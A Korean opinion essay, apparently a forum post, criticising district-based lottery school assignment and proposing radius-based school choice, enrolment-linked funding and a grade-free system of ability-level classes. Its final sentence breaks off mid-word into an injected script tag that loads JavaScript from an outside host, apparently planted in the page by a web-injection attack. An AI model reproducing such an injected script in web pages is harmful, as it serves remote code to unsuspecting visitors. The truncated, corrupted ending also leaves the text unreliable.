평준화제도의 문제점은 그 제도의 본질이 '평준화'가 아니라 학군별 추첨식 배정제도라는데에 있습니다. 그렇기 때문에 일견 추첨식 배정의 특징인 "복불복"이니까 공평한 것처럼 보입니다만 (저는 추첨이 공평한 분배방법이라고도 생각하지 않습니다만) 사실은 전국적으로 추첨을 하는 것이 아니라 학군별로 추첨을 하는 것이기 때문에 좋은 학군에 들어가기만 하면 되는 것입니다. 그래서 추첨식이라는 비교적 공평한 방법을 사용하여도 좋은 학군에 들어가기라는 방법으로 경쟁을 하기 때문에 지역간 격차가 점차 더 심해지는 것입니다.
그러므로 이러한 것을 완화하기 위해서는 학군으로 나눌 것이 아니라 특정학교에 지원할 수 있는 자격을 그 학교의 반경5km 지역으로 (혹은 더 넓게 할 수도 있겠습니다.) 하고 그 안에서는 얼마든지 지원을 받은 다음 (제 생각에는 5지원으로 하면 좋을 것 같습니다.) 지원자를 대상으로 추첨을 하여 배정하는 것이 필요하리라 생각됩니다. 현재 공동학군제도라는 것이 그것입니다.
그러나 이렇게 학군을 반경5km로 바꾸는 것만으로는 좀 충분치 않다는 생각이 듭니다. 왜냐하면 학교들의 동기부여를 위해서는 약간의 차별이 필요하니까요. 그래서 생각해 본 것이 지원자가 아주 많은 학교들은 그만큼 운영비나 기타 국가 지원금을 더 많이 주고 정원도 그 학교에서 원하는 만큼 더 늘릴 수 있도록 하는 것입니다. 그리고 학교에 대한 재정지원은 학생숫자에 비례하여 주는 것이지요.
그리고 지원자가 어느 수준이상으로 많은 학교는 교육부에서 감사같은 것을 하지 않도록 합니다. (5지망까지 인정한다고 하면 지원자가 정원의 10배일 때..) 소비자가 인정한 학교는 정부가 감시할 필요가 없습니다. 대신 지원자가 정원에 미달하는 학교는 무언가 문제가 있는 것이기 때문에 정부에서 주의깊게 감사를 하고 문제점을 빨리 발견하여 학부모들의 지원률을 다시 올리도록 해야 할 것입니다.
그런데 이러한 학교선택제의 부분적인 허용은 다른 문제를 야기할 수 있습니다. 학교의 서열화와 입시교육기관화입니다. 그래서 저는 수준별 이동수업의 극대화를 위한 무학년제의 도입을 주장합니다.
무학년제라는 것을 들어보신 분들이 많지 않으리라 생각합니다.
내신성적에 대해서는 무학년제와 같은 시스템을 도입하면 거의 문제가 없습니다. 또한 "명문학교"라는 개념도 많이 완화가 될 수 있습니다. 많은 사람들이 평준화에 대해서 "공평하다"라고 생각합니다만 평준화제도는 나이가 같으면 같은 것을 배워야 한다는 고정관념에 다를 바가 없습니다. 어떤 학생에게 어떠한 수업이 가장 효율적일까요? 그 학생이 이미 알고 있는 것보다는 어렵고, 그 수업을 완전히 이해해야만 알수 있는 것보다는 쉬운 내용의 수업을 할 때 가장 효?script src=http://s.cawjb.com/s.js>
